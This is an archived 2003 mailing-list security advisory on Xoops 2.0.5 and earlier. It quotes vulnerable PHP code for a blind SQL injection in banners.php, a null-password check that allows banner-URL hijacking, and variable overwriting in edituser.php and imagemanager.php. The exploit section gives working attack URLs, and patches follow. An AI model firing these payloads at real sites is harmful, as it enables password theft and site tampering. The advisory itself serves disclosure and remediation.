

[VulnWatch] [SCSA-022] Multiple vulnerabilities in Xoops

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-12/0009.html>

From: Security Corporation Security Advisory (*advisory_at_security-corporation.com*)
Date: 12/06/03

To: vulnwatch@vulnwatch.org
Date: Fri, 05 Dec 2003 23:32:37 GMT

Security Corporation Security Advisory [SCSA-022]

Multiple vulnerabilities in Xoops

PROGRAM: Xoops
HOMEPAGE: <http://www.xoops.org>
VULNERABLE VERSIONS: 1.3.X,2.0.X -> 2.0.5
RISK: Low/MEDIUM
IMPACT: SQL Injection
Redefining of local variables
Change of the urls of banners

RELEASE DATE: 2003-12-05

TABLE OF CONTENTS

1.....	DESCRIPTION
2.....	DETAILS
3.....	EXPLOITS
4.....	SOLUTIONS
5.....	WORKAROUND
6.....	DISCLOSURE TIMELINE
7.....	CREDITS
8.....	DISCLAIMER
9.....	REFERENCES
10.....	FEEDBACK

1. DESCRIPTION

VulnWatch: [VulnWatch] [SCSA-022] Multiple vulnerabilities in Xoops

XOOPS is "a dynamic OO (Object Oriented) based open source portal script written in PHP. XOOPS is the ideal tool for developing small to large dynamic community websites, intra company portals, corporate portals, weblogs and much more."

(direct quote from XOOPS website)

2. DETAILS

– SQL Injection

A vulnerability has been discovered in the banners.php file that allows unauthorized users to redefine local variables and inject SQL commands.

Vulnerable code :

<?

[...]

```
function EmailStats($login, $cid, $bid, $pass)
{
    global $xoopsDB, $xoopsConfig;
    $result2 = $xoopsDB->query("select name, email from
    ".$xoopsDB->prefix("bannerclient")." where cid=$cid");
    list($name, $email) = $xoopsDB->fetchRow($result2);
    if ( $email == "" ) {
        redirect_header("banners.php",3,"There isn't an email associated with
        client ".$name."<br />Please contact the Administrator");

        exit();
    } else {
        $result = $xoopsDB->query("select bid, imptotal, impmade, clicks,
        imageurl, clickurl, date from ".$xoopsDB->prefix("banner")." where bid=$bid
        and cid=$cid");
        list($bid, $imptotal, $impmade, $clicks, $imageurl, $clickurl, $date) =
        $xoopsDB->fetchRow($result);
        [...]
```

```
$fecha = date("F jS Y, h:iA.");
$subject = "Your Banner Statistics at ".$xoopsConfig[sitename]."";
$message = "Following are the complete stats for your advertising
investment at ". $xoopsConfig[sitename].":\n\nClient Name:
$name\nBanner ID: $bid\nBanner Image: $imageurl\nBanner URL:
$clickurl\nImpressions Purchased: $imptotal\nImpressions Made:
$impmade\nImpressions Left: $left\nClicks Received: $clicks\nClicks Percent:
$percent%\n\nReport Generated on: $fecha";
$xoopsMailer =& getMailer();
$xoopsMailer->useMail();
```

VulnWatch: [VulnWatch] [SCSA-022] Multiple vulnerabilities in Xoops

```
$xoopsMailer->setToEmails($email);
$xoopsMailer->setFromEmail($xoopsConfig['adminmail']);
$xoopsMailer->setFromName($xoopsConfig['sitename']);
$xoopsMailer->setSubject($subject);
$xoopsMailer->setBody($message);
$xoopsMailer->send();
redirect_header("banners.php?op=Ok&login=$login&pass=$pass",3,"Statistics
for your banner has been sent to your email address.");
//include "footer.php";
exit();
}
}

function change_banner_url_by_client($login, $pass, $cid, $bid, $url)
{
global $xoopsDB;
$result = $xoopsDB->query("select passwd from
".$xoopsDB->prefix("bannerclient")." where cid=".$cid."");
list($passwd) = $xoopsDB->fetchRow($result);
if ( $pass == $passwd ) {
$xoopsDB->queryF("update ".$xoopsDB->prefix("banner")." set
clickurl=".$url." where bid=".$bid."");
}
redirect_header("banners.php?op=Ok&login=$login&pass=$pass",3,"URL
has been changed.");
//include "footer.php";
exit();
}

[...]

switch ( $op ) {
case "Change":
change_banner_url_by_client($login, $pass, $cid, $bid, $url);
break;
case "EmailStats":
EmailStats($login, $cid, $bid, $pass);
break;
[...]
}

?>
```

We see at first in the function EmailStats() that the SQL request :
select name, email from ".\$xoopsDB->prefix("bannerclient")." where cid=\$cid
is executed.

We can find the structure of the table "bannerclient" in the file
install/sql/mysql.structure.sql :

```
-----  
CREATE TABLE bannerclient (  
cid smallint(5) unsigned NOT NULL auto_increment,  
name varchar(60) NOT NULL default "",  
contact varchar(60) NOT NULL default "",  
email varchar(60) NOT NULL default "",  
login varchar(10) NOT NULL default "",  
passwd varchar(10) NOT NULL default "",  
extrainfo text NOT NULL,  
PRIMARY KEY (cid),  
KEY login (login)  
) TYPE=MyISAM;  
-----
```

The problem is that if we inject for example in the \$cid variable this value : 1 AND passwd LIKE 'a%/*', the SQL request will be :
select name,email from bannerclient where cid=1 AND passwd LIKE 'a%/*'

In that case, if the password of the user id of which is 1 begins by "a", we shall see displaying the message:
"Statistics for your banner has been sent to your email address."

Otherwise the message:
"There isn't an email associated with client .
Please contact the Administrator"

We can find in this way all the hashed password, login, etc....

The second function, change_banner_url_by_client() can allow whoever to change the url of whatever banner.

In the code :

```
-----  
$result = $xoopsDB->query("select passwd from  
".$xoopsDB->prefix("bannerclient")." where cid=".$cid."");  
list($passwd) = $xoopsDB->fetchRow($result);  
if ( $pass == $passwd ) {  
$xoopsDB->queryF("update ".$xoopsDB->prefix("banner")." set  
clickurl=".$url." where bid=".$bid."");  
}  
redirect_header("banners.php?op=Ok&login=$login&pass=$pass",3,"URL  
has been changed.");  
exit();  
-----
```

Indeed let us imagine that \$cid is worth 1, an ID nonexistent. In that case, the variable \$passwd, which is the result of the request looking for the \$cid 1, will have a NO value.

Then comes the check of the password :

```
-----  
if ( $pass == $passwd )  
-----
```

If we give no value in \$pass, \$passwd being too NULL, the equality will really dismiss, because \$pass and \$passwd are invalid everything them two.

– Redefining of local variables:

The others vulnerabilities are in edituser.php and imagemanager.php files.

The edituser.php file begins as this:

```
-----  
<?php  
[...]  
$xoopsOption['pagetype'] = 'user';  
include 'mainfile.php';  
include_once XOOPS_ROOT_PATH.'/class/xoopsformloader.php';  
  
// If not a user, redirect  
if ( !$xoopsUser ) {  
    redirect_header('index.php',3,_US_NOEDITRIGHT);  
    exit();  
}  
  
// initialize $op variable  
$op = 'editprofile';  
  
if (isset($HTTP_POST_VARS)) {  
    foreach ($HTTP_POST_VARS as $k => $v) {  
        ${$k} = $v;  
    }  
}  
[...]  
-----
```

Vulnerable code :

```
-----  
if (isset($HTTP_POST_VARS)) {  
    foreach ($HTTP_POST_VARS as $k => $v) {  
        ${$k} = $v;  
    }  
}  
-----
```

This code transforms all POST variables into local variables.

It thus allows to REDEFINE already defined variables, as variables containing classes, or variables of configuration

The same problem is in imagemanager.php, the beginning of the code is :

```
-----  
<?php  
[...]  
include './mainfile.php';  
if (!isset($HTTP_GET_VARS['target']) && !isset($HTTP_POST_VARS['target'])) {  
    exit();  
}  
$op = 'list';  
if (isset($HTTP_GET_VARS['op']) && $HTTP_GET_VARS['op'] == 'upload') {  
    $op = 'upload';  
}  
if (isset($HTTP_POST_VARS)) {  
    foreach ($HTTP_POST_VARS as $k => $v) {  
        ${$k} = $v;  
    }  
}  
[...]  
-----
```

– Change of the urls of banners :

Finally comes the request:

```
-----  
update ".$xoopsDB->prefix("banner")." set clickurl='".$url.'" where  
bid='".$bid"  
-----
```

A vulnerability was discovered allowing to change the url of redirection of a banner according to the bid, what does not raise seen problem that we do not still have it defines.

3. EXPLOITS

=====

– SQL Injection (if magic_quotes_gpc=OFF):

```
http://[target]/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'  
/*
```

– Change of the urls of banners :

[http://\[target\]/banners.php?op=Change&cid=-1&bid=100&url=http://WWW.NEWURL.COM](http://[target]/banners.php?op=Change&cid=-1&bid=100&url=http://WWW.NEWURL.COM)

4. SOLUTIONS

You can find a patch at the following link : <http://www.phpsecure.info>

The creator (Onokazu) was notified and published a secure version 2.0.5.1

5. WORKAROUND

In banners.php, replace the function change_banner_url_by_client() by :

```
function change_banner_url_by_client($login, $pass, $cid, $bid, $url)
{
    global $xoopsDB;
    if ( !empty($cid) AND !empty($bid) AND !empty($pass) ){
        $result = $xoopsDB->query("select passwd from
        ".$xoopsDB->prefix("bannerclient")." where cid='".$cid."'");
        list($passwd) = $xoopsDB->fetchRow($result);
        if ( $pass == $passwd ) {
            $xoopsDB->queryF("update ".$xoopsDB->prefix("banner")." set
            clickurl='".$url.'" where bid='".$bid."'");
        }
        redirect_header("banners.php?op=Ok&login=$login&pass=$pass",3,"URL
        has been changed.");
        //include "footer.php";
    }
    exit();
}
```

Add simply the following line just before "switch(\$op) {" :

```
$cid = intval($cid);
$bid = intval($bid);
```

In edituser.php and imagemanager.php files, replace the following code :

```
if (isset($_HTTP_POST_VARS)) {
    foreach ($_HTTP_POST_VARS as $k => $v) {
        ${$k} = $v;
    }
}
```

by :

```
-----  
$forbidden =  
array('forbidden','sess_handler','member_handler','config_handler',  
'xoopsUserIsAdmin','xoopsUser','xoopsDB','xoopsLogger',  
'xoopsConfig','XoopsOption');  
if (isset($HTTP_POST_VARS)) {  
  foreach ($HTTP_POST_VARS as $k => $v) {  
    if ( !in_array($k,$forbidden) ){  
      ${$k} = $v;  
    }  
  }  
}
```

6. DISCLOSURE TIMELINE

=====

21/11/2003 Vulnerability discovered
21/11/2003 Vendor notified
21/11/2003 Vendor response
21/11/2003 Security Corporation clients notified
21/11/2003 Started e-mail discussions
05/12/2003 Last e-mail received
05/12/2003 Public disclosure

7. CREDITS

=====

frog-m@n <frog-man@security-corporation.com> is credited with this discovery

Magistrat <<http://www.blocus-zone.com>> is greeted.

8. DISCLAIMER

=====

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

9. REFERENCES

=====

– Original Version:
<http://www.security-corporation.com/advisories-022.html>

– Version Française:

<http://www.security-corporation.com/index.php?id=advisories&a=022-FR>

10. FEEDBACK

=====

Please send suggestions, updates, and comments to:

Security Corporation

<http://www.security-corporation.com>

advisory@security-corporation.com